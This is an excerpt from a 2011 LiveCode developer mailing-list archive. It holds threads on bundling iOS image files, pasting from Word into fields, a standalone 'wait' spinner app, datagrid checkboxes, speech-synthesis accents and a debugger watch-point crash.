Wed, 14 Dec 2011 13:10:58 -0800 Subject: Setting the value of a button hilite in script In-Reply-To: <4EE8EC53.7040300@hyperactivesw.com> References: <78282935937.20111213170112@ahsoftware.net> <53299512671.20111213213729@ahsoftware.net> <4EE8EC53.7040300@hyperactivesw.com> Message-ID: <121355522296.20111214131058@ahsoftware.net> Jacque- Wednesday, December 14, 2011, 10:34:59 AM, you wrote: > Oh good, that's easy to fix. Glad you found it. And don't feel bad, I > once submitted a bug report about the same thing back in the MetaCard > days. Dr Raney pointed out my error and I was embarrassed for days. I just reported a bug yesterday about the alt key on linux blocking mouseUp messages, and Ian set me straight about the way alt-click is used on linux to move windows around without having to click on the titlebar. Aside from having learned something new I've been feeling stupid for hours now. -- -Mark Wieder mwieder at ahsoftware.net From sl at trackandfieldnews.com Wed Dec 14 16:14:18 2011 From: sl at trackandfieldnews.com (Sieg Lindstrom) Date: Wed, 14 Dec 2011 13:14:18 -0800 Subject: characters lost pasting from Word To LiveCode field In-Reply-To: Message-ID: Might work. Any idea if WordLib handles OSX Word 2004? I'm using that version until I'm forced not to because I have use scores of Word macros I'd have to recreate with AppleScript if I were to upgrade. Can't quite fathom why Microsoft decided to make macros in Word for the Mac incompatible with Windows Word versions. Sieg On 12/14/11 11:49 AM, Curry Kenworthy wrote: >> Bottom line: Microsoft does not play well with Livecode's clipboard. Other >> apps are fine. > > Why not use WordLib? Sounds like an ideal scenario for it. > > Current release is ANSI but next release (almost there) has very > accurate Unicode! Tested with many languages. > > Curry K. > -- > WordLib: Import MS Word and OpenOffice documents > http://curryk.com/wordlib.html From bobs at twft.com Wed Dec 14 16:23:19 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 13:23:19 -0800 Subject: characters lost pasting from Word To LiveCode field In-Reply-To: References: Message-ID: <3670B1E8-388F-40C1-86D8-0F8D6EDF3527@twft.com> I don't think the OS X developer group at Microsoft communicate much with the Windows developer group. Bob On Dec 14, 2011, at 1:14 PM, Sieg Lindstrom wrote: > Might work. Any idea if WordLib handles OSX Word 2004? I'm using that > version until I'm forced not to because I have use scores of Word macros I'd > have to recreate with AppleScript if I were to upgrade. Can't quite fathom > why Microsoft decided to make macros in Word for the Mac incompatible with > Windows Word versions. > > Sieg > > > On 12/14/11 11:49 AM, Curry Kenworthy wrote: > >>> Bottom line: Microsoft does not play well with Livecode's clipboard. Other >>> apps are fine. >> >> Why not use WordLib? Sounds like an ideal scenario for it. >> >> Current release is ANSI but next release (almost there) has very >> accurate Unicode! Tested with many languages. >> >> Curry K. >> -- >> WordLib: Import MS Word and OpenOffice documents >> http://curryk.com/wordlib.html > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Wed Dec 14 16:50:09 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 14 Dec 2011 15:50:09 -0600 Subject: Setting the value of a button hilite in script In-Reply-To: <121355522296.20111214131058@ahsoftware.net> References: <78282935937.20111213170112@ahsoftware.net> <53299512671.20111213213729@ahsoftware.net> <4EE8EC53.7040300@hyperactivesw.com> <121355522296.20111214131058@ahsoftware.net> Message-ID: <4EE91A11.6000401@hyperactivesw.com> On 12/14/11 3:10 PM, Mark Wieder wrote: > Jacque- > > Wednesday, December 14, 2011, 10:34:59 AM, you wrote: > >> Oh good, that's easy to fix. Glad you found it. And don't feel bad, I >> once submitted a bug report about the same thing back in the MetaCard >> days. Dr Raney pointed out my error and I was embarrassed for days. > > I just reported a bug yesterday about the alt key on linux blocking > mouseUp messages, and Ian set me straight about the way alt-click is > used on linux to move windows around without having to click on the > titlebar. Aside from having learned something new I've been feeling > stupid for hours now. > Let's have a gathering at the next conference and confess our stupid moments. I bet we'd draw a huge crowd. We could give a "Most Stupid" award. I've got a really good entry. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From bobs at twft.com Wed Dec 14 17:04:54 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 14:04:54 -0800 Subject: Setting the value of a button hilite in script In-Reply-To: <4EE91A11.6000401@hyperactivesw.com> References: <78282935937.20111213170112@ahsoftware.net> <53299512671.20111213213729@ahsoftware.net> <4EE8EC53.7040300@hyperactivesw.com> <121355522296.20111214131058@ahsoftware.net> <4EE91A11.6000401@hyperactivesw.com> Message-ID: <8837E769-49D9-4E24-A36E-9333B8CDD6E0@twft.com> Honorable Mention can be "Most Stupid Looking". I'll bring a photo... Bob On Dec 14, 2011, at 1:50 PM, J. Landman Gay wrote: > Let's have a gathering at the next conference and confess our stupid moments. I bet we'd draw a huge crowd. We could give a "Most Stupid" award. I've got a really good entry. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com From sschvarstein at gmail.com Wed Dec 14 17:33:38 2011 From: sschvarstein at gmail.com (Sergio Schvarstein) Date: Wed, 14 Dec 2011 23:33:38 +0100 Subject: Accessing the bundles files in the sandbox Message-ID: Hi, I am developing an iOS app which needs to use over one hundred images, which must be bundled inside the app file. I've included the files in the Standalone Application Settings > Copy Files tab inside a folder I've called "media", but now I cannot find the way for asigning that filename to an image inside the app. I've tried several ways as for example: put ("file:" & specialFolderPath("engine") & "/media/img_01.jpg") into theFile set the filename of image theImage to theFile or put ("file:" & specialFolderPath("home") & "/media/img_01.jpg") into theFile set the filename of image theImage to theFile but I couldn?t find the way to make it work. Can somebody tell how this must be done ? Thanks. ______________________________ Sergio Schvarstein sschvarstein at gmail.com ______________________________ From curry at pair.com Wed Dec 14 17:38:36 2011 From: curry at pair.com (Curry Kenworthy) Date: Wed, 14 Dec 2011 16:38:36 -0600 Subject: characters lost pasting from Word To LiveCode field In-Reply-To: References: Message-ID: <4EE9256C.2020204@pair.com> > Any idea if WordLib handles OSX Word 2004? So far I've focused primarily on documents created by Word 2007 and up for Windows. Next in line, I'll be testing documents from Word 2008 for Mac! I assume that Word 2004 Mac is similar to 2003 Windows. I would expect it to import fairly well on Mac, and support is gradually being added for more of the array of slightly different formats. Best, Curry K. From m.schonewille at economy-x-talk.com Wed Dec 14 17:39:11 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Wed, 14 Dec 2011 23:39:11 +0100 Subject: Accessing the bundles files in the sandbox In-Reply-To: References: Message-ID: <9742FF45-C83E-448B-B01E-A02429E08418@economy-x-talk.com> Hi Sergio, I'm not sure tht "file:" needs to be included in the filename property. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 14 dec 2011, at 23:33, Sergio Schvarstein wrote: > Hi, > > I am developing an iOS app which needs to use over one hundred images, which must be bundled inside the app file. > > I've included the files in the Standalone Application Settings > Copy Files tab inside a folder I've called "media", but now I cannot find the way for asigning that filename to an image inside the app. > > I've tried several ways as for example: > > put ("file:" & specialFolderPath("engine") & "/media/img_01.jpg") into theFile > set the filename of image theImage to theFile > > or > > put ("file:" & specialFolderPath("home") & "/media/img_01.jpg") into theFile > set the filename of image theImage to theFile > > but I couldn?t find the way to make it work. > > Can somebody tell how this must be done ? > > Thanks. > From dixonja at hotmail.co.uk Wed Dec 14 17:39:14 2011 From: dixonja at hotmail.co.uk (John Dixon) Date: Wed, 14 Dec 2011 22:39:14 +0000 Subject: Accessing the bundles files in the sandbox In-Reply-To: References: Message-ID: set the filename of image theImage to specialFolderPath("engine") & "/media/img_01.jpg" > From: sschvarstein at gmail.com > Subject: Accessing the bundles files in the sandbox > Date: Wed, 14 Dec 2011 23:33:38 +0100 > To: use-livecode at lists.runrev.com > > Hi, > > I am developing an iOS app which needs to use over one hundred images, which must be bundled inside the app file. > > I've included the files in the Standalone Application Settings > Copy Files tab inside a folder I've called "media", but now I cannot find the way for asigning that filename to an image inside the app. > > I've tried several ways as for example: > > put ("file:" & specialFolderPath("engine") & "/media/img_01.jpg") into theFile > set the filename of image theImage to theFile > > or > > put ("file:" & specialFolderPath("home") & "/media/img_01.jpg") into theFile > set the filename of image theImage to theFile > > but I couldn?t find the way to make it work. > > Can somebody tell how this must be done ? > > Thanks. > > > ______________________________ > Sergio Schvarstein > sschvarstein at gmail.com > > ______________________________ > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From stephenREVOLUTION2 at barncard.com Wed Dec 14 17:59:47 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Wed, 14 Dec 2011 14:59:47 -0800 Subject: Independent Progress Bar In-Reply-To: <50F3616A-910B-43A0-B1B0-A02FAA0CB54D@twft.com> References: <4EE90B92.6090909@fourthworld.com> <50F3616A-910B-43A0-B1B0-A02FAA0CB54D@twft.com> Message-ID: I would use them if they worked. These would be awesome little indicator packages, if we don't overuse it like blinking in old web sites. Browsers seem to do this with little cpu load. Remember Imageready? On 14 December 2011 13:05, Bob Sneidar wrote: > Voted for it. Not too many people seem to be using this system though. > > Bob > > On Dec 14, 2011, at 12:48 PM, Richard Gaskin wrote: > > > FWIW: > > > > Asynchronous GIF playback > > > > > > -- > > Richard Gaskin > > Fourth World > > LiveCode training and consulting: http://www.fourthworld.com > > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > > LiveCode Journal blog: http://LiveCodejournal.com/blog.irv > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From pete at mollysrevenge.com Wed Dec 14 18:00:53 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 14 Dec 2011 15:00:53 -0800 Subject: Preventing edits in a datagrid Message-ID: I have a datagrid with a customised column containing a checkbox. I have set the datagrid to not allow editing yet it is still possible to check/uncheck the checkbox. I'm guessing that I have to deal with this in the mouseUp handler of the custom behavior for the column but thought I would ask the community first. -- Pete Molly's Revenge From effendi at wanadoo.fr Wed Dec 14 18:29:55 2011 From: effendi at wanadoo.fr (Francis Nugent Dixon) Date: Thu, 15 Dec 2011 00:29:55 +0100 Subject: French Ears Message-ID: <0953BB7B-D511-425D-BFF7-BD0DE4C06D01@wanadoo.fr> Hi from Beautiful Brittany. Michael wrote : > I'm not interested in the translations, just the quality of the > French accent. Michael, it's the best French speech I have ever heard (I have 45 years of French, in France, under my belt !) However, computer speech is monotonous (great difficulty in placing tonic accents). I think the weather will change tomorrow i THINK the weather will change tomorrow i think the WEATHER will change tomorrow i think the weather will CHANGE tomorrow i think the weather will change TOMORROW Same sentence - at least five ways of saying it ! And this is just the tonic accent in a complete word. When you have a multi-syllable word, placement of the tonic accent is capital. Take any three or four syllable word and say it with the tonic accent in the wrong place. Odds are that even an Englishman would say ...... "I beg your pardon" ! Although tonic accents are far less important to French speech, they do exist ! However, forgetting the tonic accent, the FRENCH accent on this site is damned good ! HTH -Francis "Nothing should ever be done for the first time !" From mwieder at ahsoftware.net Wed Dec 14 18:37:08 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 14 Dec 2011 23:37:08 +0000 (UTC) Subject: Possible bug setting a watch point References: <58044EB2-3B6D-4FC6-8FA4-A19595B913B5@twft.com> <17269540109.20111213131756@ahsoftware.net> <30DCB652-B7DD-4340-9144-1C3E45865294@twft.com> Message-ID: Bob Sneidar writes: > >> I tried setting a watch on a global variable. I set it to gSiteID > >> <> "00003". Each time I do this Livecode CTD's. I have removed all > >> plugins to verify it's not something with one of those, but the > >> problem persists. > > > >> Can anyone else verify this happens to them before I attempt a bug report? I just tried this on a virgin system with no plugins. Yep - crashes right out of existence. Not sure what's going on there, but it works fine in PowerDebug so I'm not going to worry about it. -- Mark Wieder From m.schonewille at economy-x-talk.com Wed Dec 14 18:37:49 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 15 Dec 2011 00:37:49 +0100 Subject: French Ears In-Reply-To: <0953BB7B-D511-425D-BFF7-BD0DE4C06D01@wanadoo.fr> References: <0953BB7B-D511-425D-BFF7-BD0DE4C06D01@wanadoo.fr> Message-ID: Hi Francis, Most speech engines, including Apple's, allow for accents (emphasis). They are just hard to implement and cause extra work for the user. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 15 dec 2011, at 00:29, Francis Nugent Dixon wrote: > Hi from Beautiful Brittany. > > Michael wrote : > >> I'm not interested in the translations, just the quality of the French accent. > > Michael, it's the best French speech I have ever heard (I have 45 years of > French, in France, under my belt !) > > However, computer speech is monotonous (great difficulty in placing tonic > accents). > > I think the weather will change tomorrow > i THINK the weather will change tomorrow > i think the WEATHER will change tomorrow > i think the weather will CHANGE tomorrow > i think the weather will change TOMORROW > > Same sentence - at least five ways of saying it ! > > And this is just the tonic accent in a complete word. When you have a > multi-syllable word, placement of the tonic accent is capital. > Take any three or four syllable word and say it with the tonic accent > in the wrong place. Odds are that even an Englishman would say ...... > "I beg your pardon" ! > > Although tonic accents are far less important to French speech, they do exist ! > > However, forgetting the tonic accent, the FRENCH accent on this site is damned good ! > > HTH > > -Francis > > "Nothing should ever be done for the first time !" From bobs at twft.com Wed Dec 14 18:49:22 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 15:49:22 -0800 Subject: Independent Progress Bar In-Reply-To: References: <4EE90B92.6090909@fourthworld.com> <50F3616A-910B-43A0-B1B0-A02FAA0CB54D@twft.com> Message-ID: <7EBAB291-5B99-4B19-86E2-0521F0677E3A@twft.com> Well some may have missed it, but I was saying that I created a standalone, and all it does is display a window that has no title bar, with a message and a spinning gif. I use it when I am opening an app that uses SQL to give the user something to look at while the connection is made and everything is set up. Someone who is adventurous and good at setting up communication between two Livecode apps could easily find a way to change the message and set the location you want it to show up in, among other things, making it a cheap but effective little "Wait..." dialog. I launch it by putting together a simple Applescript command in my startup stack that tells the :Spinner" application to activate. When I am done with it, I tell the app to quit. It's actually kind of nice, except that of course, it's an app, and they can be quit or hidden. Since the typical time I need to wait is only a few seconds, it's not a problem. If I was any good at making a Livecode external, I would try, but alas, I know nothing of C. Bob On Dec 14, 2011, at 2:59 PM, stephen barncard wrote: > I would use them if they worked. These would be awesome little indicator > packages, if we don't overuse it like blinking in old web sites. Browsers > seem to do this with little cpu load. > Remember Imageready? > > On 14 December 2011 13:05, Bob Sneidar wrote: > >> Voted for it. Not too many people seem to be using this system though. >> >> Bob >> >> On Dec 14, 2011, at 12:48 PM, Richard Gaskin wrote: >> >>> FWIW: >>> >>> Asynchronous GIF playback >>> >>> >>> -- >>> Richard Gaskin >>> Fourth World >>> LiveCode training and consulting: http://www.fourthworld.com >>> Webzine for LiveCode developers: http://www.LiveCodeJournal.com >>> LiveCode Journal blog: http://LiveCodejournal.com/blog.irv >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > -- > > > > Stephen Barncard > San Francisco Ca. USA > > more about sqb > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Wed Dec 14 18:49:55 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 15:49:55 -0800 Subject: Preventing edits in a datagrid In-Reply-To: References: Message-ID: <0066ACD7-4594-471D-A2A0-2B77527938AD@twft.com> You are correct sir. Bob On Dec 14, 2011, at 3:00 PM, Pete wrote: > I have a datagrid with a customised column containing a checkbox. I have > set the datagrid to not allow editing yet it is still possible to > check/uncheck the checkbox. I'm guessing that I have to deal with this in > the mouseUp handler of the custom behavior for the column but thought I > would ask the community first. > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Wed Dec 14 18:51:06 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 15:51:06 -0800 Subject: French Ears In-Reply-To: <0953BB7B-D511-425D-BFF7-BD0DE4C06D01@wanadoo.fr> References: <0953BB7B-D511-425D-BFF7-BD0DE4C06D01@wanadoo.fr> Message-ID: I have heard that Japanese has no tonic accents. Is that true? Bob On Dec 14, 2011, at 3:29 PM, Francis Nugent Dixon wrote: > Hi from Beautiful Brittany. > > Michael wrote : > >> I'm not interested in the translations, just the quality of the French accent. > > Michael, it's the best French speech I have ever heard (I have 45 years of > French, in France, under my belt !) > > However, computer speech is monotonous (great difficulty in placing tonic > accents). > > I think the weather will change tomorrow > i THINK the weather will change tomorrow > i think the WEATHER will change tomorrow > i think the weather will CHANGE tomorrow > i think the weather will change TOMORROW > > Same sentence - at least five ways of saying it ! > > And this is just the tonic accent in a complete word. When you have a > multi-syllable word, placement of the tonic accent is capital. > Take any three or four syllable word and say it with the tonic accent > in the wrong place. Odds are that even an Englishman would say ...... > "I beg your pardon" ! > > Although tonic accents are far less important to French speech, they do exist ! > > However, forgetting the tonic accent, the FRENCH accent on this site is damned good ! > > HTH > > -Francis > > "Nothing should ever be done for the first time !" > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Wed Dec 14 18:52:24 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 15:52:24 -0800 Subject: Possible bug setting a watch point In-Reply-To: References: <58044EB2-3B6D-4FC6-8FA4-A19595B913B5@twft.com> <17269540109.20111213131756@ahsoftware.net> <30DCB652-B7DD-4340-9144-1C3E45865294@twft.com> Message-ID: <33AFDCEA-35AD-4055-8D9A-3DAEF484B015@twft.com> Thanks Mark. Known bug someone posted. Too bad, because I *REALLY* needed that functionality. So PowerDebug works? I will try that instead. Bob On Dec 14, 2011, at 3:37 PM, Mark Wieder wrote: > Bob Sneidar writes: > >>>> I tried setting a watch on a global variable. I set it to gSiteID >>>> <> "00003". Each time I do this Livecode CTD's. I have removed all >>>> plugins to verify it's not something with one of those, but the >>>> problem persists. >>> >>>> Can anyone else verify this happens to them before I attempt a bug report? > > I just tried this on a virgin system with no plugins. Yep - crashes right out of > existence. Not sure what's going on there, but it works fine in PowerDebug so > I'm not going to worry about it. > > -- > Mark Wieder > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From stephenREVOLUTION2 at barncard.com Wed Dec 14 18:57:08 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Wed, 14 Dec 2011 15:57:08 -0800 Subject: Independent Progress Bar In-Reply-To: <7EBAB291-5B99-4B19-86E2-0521F0677E3A@twft.com> References: <4EE90B92.6090909@fourthworld.com> <50F3616A-910B-43A0-B1B0-A02FAA0CB54D@twft.com> <7EBAB291-5B99-4B19-86E2-0521F0677E3A@twft.com> Message-ID: one way to achieve multi-tasking. Actually brilliant. What is the size of that little sucker? On 14 December 2011 15:49, Bob Sneidar wrote: > Well some may have missed it, but I was saying that I created a > standalone, and all it does is display a window that has no title bar, with > a message and a spinning gif. I use it when I am opening an app that uses > SQL to give the user something to look at while the connection is made and > everything is set up. Someone who is adventurous and good at setting up > communication between two Livecode apps could easily find a way to change > the message and set the location you want it to show up in, among other > things, making it a cheap but effective little "Wait..." dialog. > > I launch it by putting together a simple Applescript command in my startup > stack that tells the :Spinner" application to activate. When I am done with > it, I tell the app to quit. It's actually kind of nice, except that of > course, it's an app, and they can be quit or hidden. Since the typical time > I need to wait is only a few seconds, it's not a problem. > > If I was any good at making a Livecode external, I would try, but alas, I > know nothing of C. > > Bob > > > On Dec 14, 2011, at 2:59 PM, stephen barncard wrote: > > > I would use them if they worked. These would be awesome little > indicator > > packages, if we don't overuse it like blinking in old web sites. Browsers > > seem to do this with little cpu load. > > Remember Imageready? > > > > On 14 December 2011 13:05, Bob Sneidar wrote: > > > >> Voted for it. Not too many people seem to be using this system though. > >> > >> Bob > >> > >> On Dec 14, 2011, at 12:48 PM, Richard Gaskin wrote: > >> > >>> FWIW: > >>> > >>> Asynchronous GIF playback > >>> > >>> > >>> -- > >>> Richard Gaskin > >>> Fourth World > >>> LiveCode training and consulting: http://www.fourthworld.com > >>> Webzine for LiveCode developers: http://www.LiveCodeJournal.com > >>> LiveCode Journal blog: http://LiveCodejournal.com/blog.irv > >>> > >>> _______________________________________________ > >>> use-livecode mailing list > >>> use-livecode at lists.runrev.com > >>> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >>> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > >> > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > > > > > > > > -- > > > > > > > > Stephen Barncard > > San Francisco Ca. USA > > > > more about sqb > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From bonnmike at gmail.com Wed Dec 14 19:03:08 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Wed, 14 Dec 2011 17:03:08 -0700 Subject: Independent Progress Bar In-Reply-To: References: <4EE90B92.6090909@fourthworld.com> <50F3616A-910B-43A0-B1B0-A02FAA0CB54D@twft.com> <7EBAB291-5B99-4B19-86E2-0521F0677E3A@twft.com> Message-ID: If its apple only, can you use "send to program" to control your twirly stack? No mac here anymore so can't try it. On Wed, Dec 14, 2011 at 4:57 PM, stephen barncard < stephenREVOLUTION2 at barncard.com> wrote: > one way to achieve multi-tasking. Actually brilliant. What is the size of > that little sucker? > > On 14 December 2011 15:49, Bob Sneidar wrote: > > > Well some may have missed it, but I was saying that I created a > > standalone, and all it does is display a window that has no title bar, > with > > a message and a spinning gif. I use it when I am opening an app that uses > > SQL to give the user something to look at while the connection is made > and > > everything is set up. Someone who is adventurous and good at setting up > > communication between two Livecode apps could easily find a way to change > > the message and set the location you want it to show up in, among other > > things, making it a cheap but effective little "Wait..." dialog. > > > > I launch it by putting together a simple Applescript command in my > startup > > stack that tells the :Spinner" application to activate. When I am done > with > > it, I tell the app to quit. It's actually kind of nice, except that of > > course, it's an app, and they can be quit or hidden. Since the typical > time > > I need to wait is only a few seconds, it's not a problem. > > > > If I was any good at making a Livecode external, I would try, but alas, I > > know nothing of C. > > > > Bob > > > > > > On Dec 14, 2011, at 2:59 PM, stephen barncard wrote: > > > > > I would use them if they worked. These would be awesome little > > indicator > > > packages, if we don't overuse it like blinking in old web sites. > Browsers > > > seem to do this with little cpu load. > > > Remember Imageready? > > > > > > On 14 December 2011 13:05, Bob Sneidar wrote: > > > > > >> Voted for it. Not too many people seem to be using this system though. > > >> > > >> Bob > > >> > > >> On Dec 14, 2011, at 12:48 PM, Richard Gaskin wrote: > > >> > > >>> FWIW: > > >>> > > >>> Asynchronous GIF playback > > >>> > > >>> > > >>> -- > > >>> Richard Gaskin > > >>> Fourth World > > >>> LiveCode training and consulting: http://www.fourthworld.com > > >>> Webzine for LiveCode developers: http://www.LiveCodeJournal.com > > >>> LiveCode Journal blog: http://LiveCodejournal.com/blog.irv > > >>> > > >>> _______________________________________________ > > >>> use-livecode mailing list > > >>> use-livecode at lists.runrev.com > > >>> Please visit this url to subscribe, unsubscribe and manage your > > >> subscription preferences: > > >>> http://lists.runrev.com/mailman/listinfo/use-livecode > > >> > > >> > > >> _______________________________________________ > > >> use-livecode mailing list > > >> use-livecode at lists.runrev.com > > >> Please visit this url to subscribe, unsubscribe and manage your > > >> subscription preferences: > > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > >> > > > > > > > > > > > > -- > > > > > > > > > > > > Stephen Barncard > > > San Francisco Ca. USA > > > > > > more about sqb > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > -- > > > > Stephen Barncard > San Francisco Ca. USA > > more about sqb > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bobs at twft.com Wed Dec 14 19:06:07 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 16:06:07 -0800 Subject: Independent Progress Bar In-Reply-To: References: <4EE90B92.6090909@fourthworld.com> <50F3616A-910B-43A0-B1B0-A02FAA0CB54D@twft.com> <7EBAB291-5B99-4B19-86E2-0521F0677E3A@twft.com> Message-ID: <602ED954-B2C5-491A-AB9E-5C5CBE9981A6@twft.com> 3.5 Megabytes. Very small. I will send you the stack and the standalone direct. The prompt is in Belgium type. I hope you have that. If not it will revert to default I guess. Bob On Dec 14, 2011, at 3:57 PM, stephen barncard wrote: > one way to achieve multi-tasking. Actually brilliant. What is the size of > that little sucker? > > On 14 December 2011 15:49, Bob Sneidar wrote: > >> Well some may have missed it, but I was saying that I created a >> standalone, and all it does is display a window that has no title bar, with >> a message and a spinning gif. I use it when I am opening an app that uses >> SQL to give the user something to look at while the connection is made and >> everything is set up. Someone who is adventurous and good at setting up >> communication between two Livecode apps could easily find a way to change >> the message and set the location you want it to show up in, among other >> things, making it a cheap but effective little "Wait..." dialog. >> >> I launch it by putting together a simple Applescript command in my startup >> stack that tells the :Spinner" application to activate. When I am done with >> it, I tell the app to quit. It's actually kind of nice, except that of >> course, it's an app, and they can be quit or hidden. Since the typical time >> I need to wait is only a few seconds, it's not a problem. >> >> If I was any good at making a Livecode external, I would try, but alas, I >> know nothing of C. >> >> Bob >> >> >> On Dec 14, 2011, at 2:59 PM, stephen barncard wrote: >> >>> I would use them if they worked. These would be awesome little >> indicator >>> packages, if we don't overuse it like blinking in old web sites. Browsers >>> seem to do this with little cpu load. >>> Remember Imageready? >>> >>> On 14 December 2011 13:05, Bob Sneidar wrote: >>> >>>> Voted for it. Not too many people seem to be using this system though. >>>> >>>> Bob >>>> >>>> On Dec 14, 2011, at 12:48 PM, Richard Gaskin wrote: >>>> >>>>> FWIW: >>>>> >>>>> Asynchronous GIF playback >>>>> >>>>> >>>>> -- >>>>> Richard Gaskin >>>>> Fourth World >>>>> LiveCode training and consulting: http://www.fourthworld.com >>>>> Webzine for LiveCode developers: http://www.LiveCodeJournal.com >>>>> LiveCode Journal blog: http://LiveCodejournal.com/blog.irv >>>>> >>>>> _______________________________________________ >>>>> use-livecode mailing list >>>>> use-livecode at lists.runrev.com >>>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>> >>> >>> >>> -- >>> >>> >>> >>> Stephen Barncard >>> San Francisco Ca. USA >>> >>> more about sqb >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > -- > > > > Stephen Barncard > San Francisco Ca. USA > > more about sqb > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Wed Dec 14 19:09:22 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 15 Dec 2011 00:09:22 +0000 (UTC) Subject: Possible bug setting a watch point References: <58044EB2-3B6D-4FC6-8FA4-A19595B913B5@twft.com> <17269540109.20111213131756@ahsoftware.net> <30DCB652-B7DD-4340-9144-1C3E45865294@twft.com> <33AFDCEA-35AD-4055-8D9A-3DAEF484B015@twft.com> 